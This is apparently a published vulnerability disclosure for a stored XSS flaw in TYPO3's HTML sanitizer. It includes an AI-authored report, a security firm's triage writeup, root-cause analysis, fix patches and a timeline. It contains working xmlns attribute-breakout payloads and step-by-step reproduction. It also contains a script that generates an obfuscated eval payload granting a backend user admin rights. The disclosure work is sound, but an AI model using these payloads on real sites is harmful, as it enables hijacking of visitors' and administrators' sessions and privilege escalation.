ANT-2026-MHJX7J31 · typo3

xss medium

CVE-2026-47345 GHSA-p5j5-4j3q-8mq8

Severity Claude high · Security research firm high · Maintainer medium

Discovered by Claude Mythos Preview

REPORT

Anthropic's analysis, sealed at approval. Disclosure to the maintainer was performed by Doyensec.

ANT-2026-MHJX7J31: Stored XSS in TYPO3 HTML Sanitizer via xmlns Namespace URI Injection

TYPO3\HtmlSanitizer\Sanitizer::sanitize() is the last line of defence that TYPO3 places between editor-supplied RTE content and the browser. It is enabled by default on every frontend page render (ContentObjectRenderer::parseFunc()stdWrap_htmlSanitize()).

An attacker who can write to any RTE bodytext field (i.e. any backend editor — the lowest-privilege backend role) can inject:

<p xmlns:x="&quot;&gt;&lt;img src=x onerror=alert(document.domain)&gt;">text</p>

The sanitizer emits:

<p xmlns:x=""><img src=x onerror=alert(document.domain)>">text</p>

The <img> tag has broken out of the attribute and its onerror handler fires automatically in every visitor's browser (src=x always errors). This is a complete, zero-click stored XSS.

Target

Project: typo3
Commit: 93ed2f0ef8f842a6
Location: /var/www/html/vendor/masterminds/html5/src/HTML5/Serializer/OutputRules.php:314
Discovery: static analysis — not yet dynamically reproduced

Technical Details

OutputRules.php:314 serializes namespace declarations with ->wr($nsNode->nodeValue) instead of ->wr($this->enc($nsNode->nodeValue, true)), under the false assumption that namespace URIs are always safe constants. TYPO3\HtmlSanitizer\Serializer\Rules extends OutputRules but does not override namespaceAttrs(), and CommonVisitor::processAttributes() iterates $domNode->attributes, which never contains xmlns: nodes (they live on the XPath namespace:: axis). The combination yields a decode-then-emit-raw path for attacker-controlled namespace URIs.

Reproduction

This finding was identified by static analysis and has not yet been dynamically reproduced. The Technical Details section above describes the code path; a trigger input is not included.

[No reproducer or sanitizer output attached — request from security-cvd@anthropic.com if needed.]

Acknowledgement

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by the Anthropic security team in collaboration with Anthropic Research. Please direct questions to security-cvd@anthropic.com and reference ANT-2026-MHJX7J31.


Reference: ANT-2026-MHJX7J31
Anthropic CVD Policy: https://www.anthropic.com/coordinated-vulnerability-disclosure

SECURITY RESEARCH FIRM ANALYSIS

Triage and disclosure were performed by Doyensec. The writeup below is the document the firm sent to the maintainer.

Verdict
true positive
Severity
high

Stored XSS in TYPO3 HTML Sanitizer via xmlns Namespace URI Injection

Severity HIGH
CVSS 3.1 8.2 — AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
CWE CWE-79 — Stored Cross-Site Scripting
Affected project TYPO3 Core (typo3/html-sanitizer, masterminds/html5)
Tested versions typo3/cms-core v13.4.28 (dynamically confirmed)

Executive Summary

A backend editor — the lowest-privilege backend role — can inject a payload into any Rich Text Editor (RTE) content element that bypasses TYPO3's HTML sanitizer and executes arbitrary JavaScript in every frontend visitor's browser, including administrators, on page load without user interaction.

TYPO3\HtmlSanitizer\Sanitizer is enabled by default on every frontend page render via ContentObjectRenderer::parseFunc()stdWrap_htmlSanitize(). By placing a crafted xmlns namespace attribute on an allowed HTML element, an attacker can cause the sanitizer to emit an unencoded <img onerror> tag into the HTTP response. Because src=x always fails, the onerror handler fires automatically on every page load for every visitor until the content is removed.


Prerequisites


Root Cause Analysis

Vulnerable line — OutputRules.php:314

vendor/masterminds/html5/src/HTML5/Serializer/OutputRules.php serializes namespace declarations without encoding:

protected function namespaceAttrs($ele)
{
    if (!$this->xpath || $this->xpath->document !== $ele->ownerDocument) {
        $this->xpath = new \DOMXPath($ele->ownerDocument);
    }

    foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) {
        if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) {
            $this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($nsNode->nodeValue)->wr('"');
            //                                                  ^^^^^^^^^^^^^^^^^^^
            //                                                  raw write — no encoding
        }
    }
}

Regular attribute values in the same file (line ~360) are correctly encoded via $this->enc($val, true). Namespace URIs are not.

Why the sanitizer cannot intercept the payload

PHP's libxml DOM stores xmlns:* declarations as namespace nodes, not attribute nodes. CommonVisitor::processAttributes() iterates $domNode->attributes, which returns zero entries for elements carrying namespace declarations:

$element->attributes->length = 0        ← xmlns:x is invisible here
XPath namespace::* → xmlns:x = '"><img src=x onerror=alert(document.domain)>'

The visitor has no mechanism to inspect or strip the payload; it passes through to the serializer untouched.

Why TYPO3 inherits the bug

TYPO3\HtmlSanitizer\Serializer\Rules extends OutputRules but does not override namespaceAttrs(). The vulnerable parent runs unchanged on every element with a namespace declaration. Sanitizer::sanitize() calls Traverserelement()openTag()namespaceAttrs() on each element, and there is no configuration flag that disables this call.

How the payload escapes the attribute

The HTML5 parser decodes entities in attribute values per spec (&quot;", &gt;>, &lt;<). The decoded value "><img src=x onerror=alert(document.domain)> is stored in a namespace node. The serializer writes it raw, terminating the xmlns:x attribute with the injected " and emitting the remaining characters as markup. The browser sees a valid <img> element.

Input stored in the database:

<div xmlns:x="&quot;&gt;&lt;img src=x onerror=alert(document.domain)&gt;">text</div>

Sanitizer output:

<div xmlns:x=""><img src=x onerror=alert(document.domain)>">text</div>

Reproduction Steps

Note on carrier element: The <p> element is not suitable — RteHtmlParser applies a hard-coded attribute allowlist to <p> tags at save time that incidentally strips xmlns:*. The following elements survive the full editor → database → frontend chain under default configuration: <div>, <strong>, <table>, <blockquote>, <ul>, <ol>, <pre>. The <strong> variant is recommended as it appears as ordinary bold text in CKEditor.

Payload:

<strong xmlns:x="&quot;&gt;&lt;img src=x onerror=alert(document.domain)&gt;">bold text</strong>

Steps:

  1. Log in to the TYPO3 backend as an editor.
  2. Open a page containing a Text content element. Switch CKEditor to Source mode and enter any content.
  3. Click Save and intercept the POST request in Burp Suite.
  4. In the intercepted request, replace the value of data[tt_content][<uid>][bodytext] with the payload above and forward the request.
  5. Confirm the payload was stored: sql SELECT bodytext FROM tt_content WHERE uid = <uid>; The output must include the xmlns:x attribute. If it does not, verify the correct content UID and that the request was forwarded after modification.
  6. Visit the frontend page containing the content element. alert(document.domain) fires on page load.

More complicated payload could be generated using generate.js, for instance, this PoC was used to demonstrate the privilege escalation (minor adjustments are needed). Note that due to sudo mode (in this case, with the default validity of 5 minutes), the issue is only demonstrative — the injected script could perform any action as an administrator, or wait until the admin passes the sudo validity window.

$ cat generate.js
const js = `(async()=>{const r=await fetch('/typo3/record/edit?edit[be_users][5]=edit',{credentials:'include'});const h=await r.text();const a=h.match(/endpoint="([^"]+)/)?.[1]?.replace(/&amp;/g,'&');if(!a)return;const f=new FormData();f.append('data[be_users][5][admin]','1');f.append('doSave','1');f.append('closeDoc','0');f.append('popViewId','0');f.append('effectivePid','0');f.append('target','0');f.append('returnUrl','/typo3/');await fetch(a,{method:'POST',credentials:'include',body:f});})();`;

const b = Buffer.from(js).toString('base64');
console.log(`<div xmlns:x="&quot;&gt;&lt;img src=x onerror=eval(atob('${b}'))&gt;">text</div>`);

$ node generate.js

<div xmlns:x="&quot;&gt;&lt;img src=x onerror=eval(atob('KGFzeW5jKCk9Pntjb25zdCByPWF3YWl0IGZldGNoKCcvdHlwbzMvcmVjb3JkL2VkaXQ/ZWRpdFtiZV91c2Vyc11bNV09ZWRpdCcse2NyZWRlbnRpYWxzOidpbmNsdWRlJ30pO2NvbnN0IGg9YXdhaXQgci50ZXh0KCk7Y29uc3QgYT1oLm1hdGNoKC9lbmRwb2ludD0iKFteIl0rKS8pPy5bMV0/LnJlcGxhY2UoLyZhbXA7L2csJyYnKTtpZighYSlyZXR1cm47Y29uc3QgZj1uZXcgRm9ybURhdGEoKTtmLmFwcGVuZCgnZGF0YVtiZV91c2Vyc11bNV1bYWRtaW5dJywnMScpO2YuYXBwZW5kKCdkb1NhdmUnLCcxJyk7Zi5hcHBlbmQoJ2Nsb3NlRG9jJywnMCcpO2YuYXBwZW5kKCdwb3BWaWV3SWQnLCcwJyk7Zi5hcHBlbmQoJ2VmZmVjdGl2ZVBpZCcsJzAnKTtmLmFwcGVuZCgndGFyZ2V0JywnMCcpO2YuYXBwZW5kKCdyZXR1cm5VcmwnLCcvdHlwbzMvJyk7YXdhaXQgZmV0Y2goYSx7bWV0aG9kOidQT1NUJyxjcmVkZW50aWFsczonaW5jbHVkZScsYm9keTpmfSk7fSkoKTs='))&gt;">text</div>

Fix

Recommended — suppress namespace declarations in typo3/html-sanitizer

Override namespaceAttrs() in TYPO3\HtmlSanitizer\Serializer\Rules. XML namespace declarations have no legitimate use in sanitised HTML5 body content:

// vendor/typo3/html-sanitizer/src/Serializer/Rules.php
protected function namespaceAttrs($ele): void
{
    // Suppress all xmlns:* declarations — they serve no purpose in
    // sanitised HTML5 and the parent implementation writes namespace
    // URIs to the output stream without encoding.
}

Alternative — encode namespace URI values

If namespace declarations must be preserved for other use cases, apply the same encoding already used for regular attributes by calling $this->enc:

protected function namespaceAttrs($ele): void
{
    if (!$this->xpath || $this->xpath->document !== $ele->ownerDocument) {
        $this->xpath = new \DOMXPath($ele->ownerDocument);
    }
    foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) {
        if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) {
            $this->wr(' ')->wr($nsNode->nodeName)->wr('="')
                ->wr($this->enc($nsNode->nodeValue, true))
                ->wr('"');
        }
    }
}

Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Norbert Szetei at Doyensec in collaboration with Anthropic Research.

For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research

Attachment: ANT-2026-05043/patch.diff

diff --git a/typo3/html-sanitizer/src/Serializer/Rules.php b/typo3/html-sanitizer/src/Serializer/Rules.php
index 9996a94c..a689ef8a 100644
--- a/typo3/html-sanitizer/src/Serializer/Rules.php
+++ b/typo3/html-sanitizer/src/Serializer/Rules.php
@@ -164,6 +164,14 @@ class Rules extends OutputRules implements RulesInterface
         $this->wr($domNode->data);
     }

+    protected function namespaceAttrs($ele): void
+    {
+        // Suppress all xmlns:* declarations. They have no legitimate use in
+        // sanitised HTML5 body content, and the parent implementation writes
+        // namespace URIs to the output stream without encoding, allowing
+        // attribute breakout via crafted namespace URI values.
+    }
+
     protected function enc($text, $attribute = false): string
     {
         if ($attribute && $this->encodeAttributes && !$this->encode) {

Attachment: ANT-2026-05043/patch2.diff

diff --git a/masterminds/html5/src/HTML5/Serializer/OutputRules.php b/masterminds/html5/src/HTML5/Serializer/OutputRules.php
index 13cbdc66..bca27ba7 100644
--- a/masterminds/html5/src/HTML5/Serializer/OutputRules.php
+++ b/masterminds/html5/src/HTML5/Serializer/OutputRules.php
@@ -311,7 +311,7 @@ class OutputRules implements RulesInterface

         foreach ($this->xpath->query('namespace::*[not(.=../../namespace::*)]', $ele) as $nsNode) {
             if (!in_array($nsNode->nodeValue, $this->implicitNamespaces)) {
-                $this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($nsNode->nodeValue)->wr('"');
+                $this->wr(' ')->wr($nsNode->nodeName)->wr('="')->wr($this->enc($nsNode->nodeValue, true))->wr('"');
             }
         }
     }
TIMELINE

Dates from discovery through public reveal.

  1. 2026-03-30 Reported to tracker
  2. 2026-05-07 Sent to maintainer
  3. 2026-05-07 Maintainer acknowledged
  4. 2026-06-10 Patch released
  5. 2026-08-17 Publicly revealed
PROVENANCE

SHA-3-512 hash:

189c82e012e75b5ab44d20ba1449802f6da28844dbac5d3b08165c48a31fe875043fe292cd13d1b1bd9054a429c2810b5e527a1e1c82752debd777935b8e0bfd

Committed 2026-05-07 00:07 PT

Revealed 2026-08-17 10:47 PT

Verify (download preimage.json)

Show preimage JSON
{
  "ant_id": "ANT-2026-MHJX7J31",
  "bug_class": "XSS",
  "claude_severity": "high",
  "commit_sha": "93ed2f0ef8f842a6",
  "created_at": "2026-03-30T23:21:29+00:00",
  "description": "`TYPO3\\HtmlSanitizer\\Sanitizer::sanitize()` is the last line of defence that TYPO3 places between editor-supplied RTE content and the browser. It is **enabled by default** on every frontend page render (`ContentObjectRenderer::parseFunc()` → `stdWrap_htmlSanitize()`).\n\nAn attacker who can write to any RTE bodytext field (i.e. any backend editor — the **lowest-privilege backend role**) can inject:\n\n```html\n<p xmlns:x=\"&quot;&gt;&lt;img src=x onerror=alert(document.domain)&gt;\">text</p>\n```\n\nThe sanitizer emits:\n\n```html\n<p xmlns:x=\"\"><img src=x onerror=alert(document.domain)>\">text</p>\n```\n\nThe `<img>` tag has broken out of the attribute and its `onerror` handler **fires automatically** in every visitor's browser (`src=x` always errors). This is a **complete, zero-click stored XSS**.",
  "discovered_at": null,
  "location": "/var/www/html/vendor/masterminds/html5/src/HTML5/Serializer/OutputRules.php:314",
  "poc_sha256": "0ba4476579ed00f558240c313da3bbaf9c55507ae839ca9b25a4d3efbf5f0769",
  "preimage_version": 1,
  "project": "typo3",
  "reproduction": null,
  "technical_details": "OutputRules.php:314 serializes namespace declarations with `->wr($nsNode->nodeValue)` instead of `->wr($this->enc($nsNode->nodeValue, true))`, under the false assumption that namespace URIs are always safe constants. TYPO3\\HtmlSanitizer\\Serializer\\Rules extends OutputRules but does not override namespaceAttrs(), and CommonVisitor::processAttributes() iterates $domNode->attributes, which never contains xmlns:* nodes (they live on the XPath namespace::* axis). The combination yields a decode-then-emit-raw path for attacker-controlled namespace URIs.",
  "title": "Stored XSS in TYPO3 HTML Sanitizer via `xmlns` Namespace URI Injection",
  "vendor_severity": "high"
}